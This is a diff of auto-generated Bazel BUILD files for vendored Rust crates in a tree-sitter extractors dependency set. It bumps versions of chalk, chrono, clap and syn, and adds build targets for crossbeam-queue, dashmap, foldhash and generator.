rust_library( crate_root = "src/lib.rs", edition = "2018", proc_macro_deps = [ - "@vendor_ts__chalk-derive-0.99.0//:chalk_derive", + "@vendor_ts__chalk-derive-0.100.0//:chalk_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -82,7 +82,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.99.0", + version = "0.100.0", deps = [ "@vendor_ts__bitflags-2.8.0//:bitflags", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.99.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.99.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel index e15beb719fb..4a3b7135706 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.99.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-recursive-0.100.0.bazel @@ -31,7 +31,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2018", proc_macro_deps = [ - "@vendor_ts__chalk-derive-0.99.0//:chalk_derive", + "@vendor_ts__chalk-derive-0.100.0//:chalk_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -82,10 +82,10 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.99.0", + version = "0.100.0", deps = [ - "@vendor_ts__chalk-ir-0.99.0//:chalk_ir", - "@vendor_ts__chalk-solve-0.99.0//:chalk_solve", + "@vendor_ts__chalk-ir-0.100.0//:chalk_ir", + "@vendor_ts__chalk-solve-0.100.0//:chalk_solve", "@vendor_ts__rustc-hash-1.1.0//:rustc_hash", "@vendor_ts__tracing-0.1.41//:tracing", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.99.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel similarity index 96% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.99.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel index f12dc8d4f11..6bea89c9407 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.99.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-solve-0.100.0.bazel @@ -31,7 +31,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2018", proc_macro_deps = [ - "@vendor_ts__chalk-derive-0.99.0//:chalk_derive", + "@vendor_ts__chalk-derive-0.100.0//:chalk_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -82,9 +82,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.99.0", + version = "0.100.0", deps = [ - "@vendor_ts__chalk-ir-0.99.0//:chalk_ir", + "@vendor_ts__chalk-ir-0.100.0//:chalk_ir", "@vendor_ts__ena-0.14.3//:ena", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel index 0f8702ab3f0..2e67a0f3f59 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.39.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel @@ -42,7 +42,7 @@ rust_library( "wasm-bindgen", "wasmbind", "winapi", - "windows-targets", + "windows-link", ], crate_root = "src/lib.rs", edition = "2021", @@ -95,10 +95,10 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.4.39", + version = "0.4.40", deps = [ "@vendor_ts__num-traits-0.2.19//:num_traits", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ] + select({ "@rules_rust//rust/platform:aarch64-apple-darwin": [ "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # aarch64-apple-darwin @@ -114,7 +114,7 @@ rust_library( "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # aarch64-linux-android ], "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [ - "@vendor_ts__windows-targets-0.52.6//:windows_targets", # aarch64-pc-windows-msvc + "@vendor_ts__windows-link-0.1.1//:windows_link", # aarch64-pc-windows-msvc ], "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [ "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # aarch64-unknown-fuchsia @@ -146,7 +146,7 @@ rust_library( "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # i686-linux-android ], "@rules_rust//rust/platform:i686-pc-windows-msvc": [ - "@vendor_ts__windows-targets-0.52.6//:windows_targets", # i686-pc-windows-msvc + "@vendor_ts__windows-link-0.1.1//:windows_link", # i686-pc-windows-msvc ], "@rules_rust//rust/platform:i686-unknown-freebsd": [ "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # i686-unknown-freebsd @@ -175,7 +175,7 @@ rust_library( "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # x86_64-linux-android ], "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [ - "@vendor_ts__windows-targets-0.52.6//:windows_targets", # x86_64-pc-windows-msvc + "@vendor_ts__windows-link-0.1.1//:windows_link", # x86_64-pc-windows-msvc ], "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone", # x86_64-unknown-freebsd diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.31.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel similarity index 96% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.31.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel index 704def0d16a..efd3ae52118 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.31.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel @@ -41,7 +41,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2021", proc_macro_deps = [ - "@vendor_ts__clap_derive-4.5.28//:clap_derive", + "@vendor_ts__clap_derive-4.5.32//:clap_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -92,8 +92,8 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "4.5.31", + version = "4.5.32", deps = [ - "@vendor_ts__clap_builder-4.5.31//:clap_builder", + "@vendor_ts__clap_builder-4.5.32//:clap_builder", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.31.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel similarity index 99% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.31.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel index a65b405d44c..d839347dd06 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.31.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel @@ -87,7 +87,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "4.5.31", + version = "4.5.32", deps = [ "@vendor_ts__anstream-0.6.18//:anstream", "@vendor_ts__anstyle-1.0.10//:anstyle", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.28.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.28.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel index 1e6c70d11ee..1e66cbe6754 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.28.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel @@ -82,11 +82,11 @@ rust_proc_macro( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "4.5.28", + version = "4.5.32", deps = [ "@vendor_ts__heck-0.5.0//:heck", - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel new file mode 100644 index 00000000000..000ff3e1c07 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel @@ -0,0 +1,91 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "crossbeam_queue", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "alloc", + "default", + "std", + ], + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=crossbeam-queue", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.3.12", + deps = [ + "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel index 299241442a1..77b6fa435ee 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel @@ -87,9 +87,9 @@ rust_library( deps = [ "@vendor_ts__fnv-1.0.7//:fnv", "@vendor_ts__ident_case-1.0.1//:ident_case", - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", "@vendor_ts__strsim-0.11.1//:strsim", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel index aeb122f8a02..1effd43d931 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel @@ -82,7 +82,7 @@ rust_proc_macro( version = "0.20.10", deps = [ "@vendor_ts__darling_core-0.20.10//:darling_core", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel new file mode 100644 index 00000000000..dba299beec3 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel @@ -0,0 +1,94 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "dashmap", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "raw-api", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=dashmap", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "6.1.0", + deps = [ + "@vendor_ts__cfg-if-1.0.0//:cfg_if", + "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils", + "@vendor_ts__hashbrown-0.14.5//:hashbrown", + "@vendor_ts__lock_api-0.4.12//:lock_api", + "@vendor_ts__once_cell-1.20.3//:once_cell", + "@vendor_ts__parking_lot_core-0.9.10//:parking_lot_core", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.14.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel similarity index 98% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.14.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel index 7d258985cf5..d5f576edcb0 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.14.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel @@ -30,6 +30,7 @@ rust_library( ), crate_features = [ "default", + "std", "use_std", ], crate_root = "src/lib.rs", @@ -83,5 +84,5 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.14.0", + version = "1.15.0", ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel index 176db4ab06a..ed0c656449e 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel @@ -91,7 +91,7 @@ rust_library( deps = [ "@vendor_ts__figment-0.10.19//:build_script_build", "@vendor_ts__pear-0.2.9//:pear", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", "@vendor_ts__serde_yaml-0.9.34-deprecated//:serde_yaml", "@vendor_ts__uncased-0.9.10//:uncased", ] + select({ diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel new file mode 100644 index 00000000000..af8c916a930 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "foldhash", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=foldhash", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.1.5", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel new file mode 100644 index 00000000000..bf828ac701b --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel @@ -0,0 +1,230 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "generator", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=generator", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.8.4", + deps = [ + "@vendor_ts__cfg-if-1.0.0//:cfg_if", + "@vendor_ts__generator-0.8.4//:build_script_build", + "@vendor_ts__log-0.4.25//:log", + ] + select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-linux-android": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [ + "@vendor_ts__windows-0.58.0//:windows", # cfg(windows) + ], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-linux-androideabi": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-apple-darwin": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-linux-android": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [ + "@vendor_ts__windows-0.58.0//:windows", # cfg(windows) + ], + "@rules_rust//rust/platform:i686-unknown-freebsd": [ + "@vendor_ts__libc-0.2.169//:libc", # 